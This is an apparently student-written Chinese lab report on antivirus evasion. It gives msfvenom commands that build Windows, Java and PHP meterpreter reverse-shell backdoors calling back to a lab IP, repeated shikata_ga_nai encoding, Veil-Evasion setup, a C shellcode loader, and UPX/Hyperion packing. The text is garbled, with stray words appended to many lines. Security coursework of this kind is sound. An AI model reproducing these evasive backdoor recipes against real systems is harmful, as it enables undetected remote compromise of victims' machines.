正确使用msf编码器(0.5分),msfvenom生成如jar之类的其余文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)php
经过组合应用各类技术实现恶意代码免杀(0.5分)(若是成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)html
用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)java
1、免杀原理python
免杀shell
通常是对恶意软件作处理,让它不被杀毒软件所检测。也是渗透测试中须要使用到的技术。编程
要作好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工做的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。windows
反过来也同样,了解了免杀的工具和技术,你也就具备了反制它的基础。数组
2、基础知识问答网络
通常来讲,免杀的方法是针对技术的。tcp
20165203_backdoor.exe
后门文件,将它放在virscan.org中进行扫描无奈,又将名字改成了xyx_backdoor.exe
.
结果如图所示
能够看出,不加任何免杀操做的病毒很容易被检测出来。那么咱们编码一下呢?
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203_encoded.exe
能够看出,通过编码后的后门程序检出率下降了。那么咱们屡次编码结果会是什么样呢?
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203encoded10.exe
能够看出,通过10次编码,后门程序的检出率更低了。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 x> 20165203_backdoor_java.jar
咱们能够对20165203_backdoor_java.jar
进行扫描,又出现了名字不合法的问题,将名字改成了xyx_backdoor.jar
.
扫描结果以下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5226 x> 20165226_backdoor.php
20165203_backdoor.php
进行扫描。等等,难道是.php文件开挂了?这是什么神奇操做???,不过终究仍是扫描出来了。。
咱们能够安装veil
,利用sudo apt-install veil-evasion
,而后继续按y
继续执行就能够,可是过程须要耐心等待。不幸的是,在我等到夜里2点快要安装好的时候,提示我要安装python.exe
什么鬼,这个程序没有安装成功,致使后来的安装过程不太顺利,最后的veil
也不太可用。只用无奈拷了同窗的kali
。
安装成功后,咱们能够输入veil
启用veil。
use veil
命令进入Evil-Evasion
。use c/meterpreter/rev_tcp.py
进入配置界面。接下来,设置反弹要链接的Kali IP
,输入命令set LHOST 192.168.154.151
。
接下来,就要设置端口,我用的个人学号,输入命令set LPORT 5203
。
generate
生成文件,并给咱们的payload取个名字,输入veil_c_5203
。/var/lib/veil/output/compiled/veil_c_5203.exe
。下面,咱们尝试用半手工来注入shellcode
来执行一下吧。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 -f c
来用C语言生成一段shellcode吧,生成的sellcode原来长这模样儿。接下来咱们就要手工编写了。
建立一个文件20165203.c
,将咱们生成的shellcode(存在字符串数组unsigned char buf[]
中)。
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" ··· "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
i686-w64-mingw32-g++ 20165203_shellcode.c -o 20165203_shellcode.exe
来编译.c文件。不幸的是仍是被查杀出来了。
那么咱们是否可以经过一些免杀的行为来使咱们的程序免杀呢?接下来,就试一下加壳。
最后,咱们试试加壳吧,在使用加壳以前,咱们首先要了解几个问题。
明白了这些,咱们来试试吧
咱们先来使用压缩壳(UPX)
20165203_backdoor.exe
加壳获得xyx_upxed.exe
,利用命令upx 20165203_backdoor.exe -o xyx_upxed
。将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/
目录中
/usr/share/windows-binaries/hyperion/
中wine hyperion.exe -v xyx_upxed.exe xyx_upxed_Hyperion.exe
进行加密壳:what?怎么仍是这么多
哈哈,终于到了实战的时候了。
咱们如今只是利用一些方法生成后门程序,并使后门程序免于杀毒软件的检测,也就是免杀,可是如何将咱们生成的后门程序注入到靶机里,又如何诱导靶机的用户来运行后门程序,这都是咱们从此要思考解决的问题。
另外,随着病毒库的不断更新,咱们还须要探索出新的方法来免杀,这也充分说明IT人士是要不断学习和进步的。
问题:一开始输入编码10次的命令时,出现了如图所示状况,编码失败。
解决:其实,很迷,检查了一下个人命令也没有输错,后来发现,我利用以前编码一次的程序实现了一下回连(固然windows7的电脑管家关着),是否是正在回连的缘故,我关闭了msf,从新编码,就成功了。
此次实现真的好有意思,本身利用msfvenom生成后门程序,而后想办法让后门程序不被查杀,有点儿黑客的感受了,哈哈。
经过此次的免杀实验,我了解了免杀的概念、基本方法等,还能利用virtotal、virscan等工具来进行扫描,随着实验的增多,咱们不能仅仅局限于能够跟着实验的步骤走,要明白每次实验步骤的含义和目的,才能为从此独立实战打下基础。